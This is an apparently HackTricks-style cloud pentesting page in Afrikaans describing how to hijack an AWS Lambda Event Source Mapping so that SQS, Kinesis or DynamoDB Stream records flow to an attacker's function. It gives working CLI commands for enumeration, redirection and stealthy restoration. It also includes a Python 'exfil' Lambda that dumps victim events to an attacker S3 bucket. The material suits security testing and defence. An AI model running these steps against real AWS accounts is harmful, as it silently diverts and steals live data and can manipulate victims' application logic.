# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik `UpdateEventSourceMapping` om die teikende Lambda-funksie van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS aan 'n attacker-controlled funksie afgelewer word. Dit lei stilweg lewendige data om sonder om produsente of die oorspronklike funksie-kode te raak.

## Impak
- Lei en lees lewendige rekords van bestaande streams/queues om sonder om producer apps of victim code te wysig.
- Potensiële data exfiltration of logika-manipulasie deur die victim se verkeer in 'n rogue funksie te verwerk.

## Vereiste toestemmings
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- Vermoë om 'n attacker-controlled Lambda te ontplooi of te verwys (`lambda:CreateFunction` of toestemming om 'n bestaande een te gebruik).

## Stappe

1) Enumereer event source mappings vir die victim function
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) Berei ’n deur die aanvaller beheerde ontvanger Lambda voor (dieselfde streek; idealiter soortgelyke VPC/runtime)
```
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) Herlei die mapping na die attacker-funksie
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) Genereer 'n gebeurtenis op die bron sodat die mapping geaktiveer word (voorbeeld: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) Verifieer dat die attacker function die batch ontvang
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) Opsionele stealth
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
Aantekeninge:
- Vir SQS ESMs moet die uitvoeringsrol van die Lambda wat die ry verwerk die volgende regte hê: `sqs:ReceiveMessage`, `sqs:DeleteMessage`, en `sqs:GetQueueAttributes` (bestuurde beleid: `AWSLambdaSQSQueueExecutionRole`).
- Die ESM UUID bly dieselfde; slegs sy `FunctionArn` word verander, so producers en source ARNs bly onaangeraak.

{{#include ../../../../banners/hacktricks-training.md}}
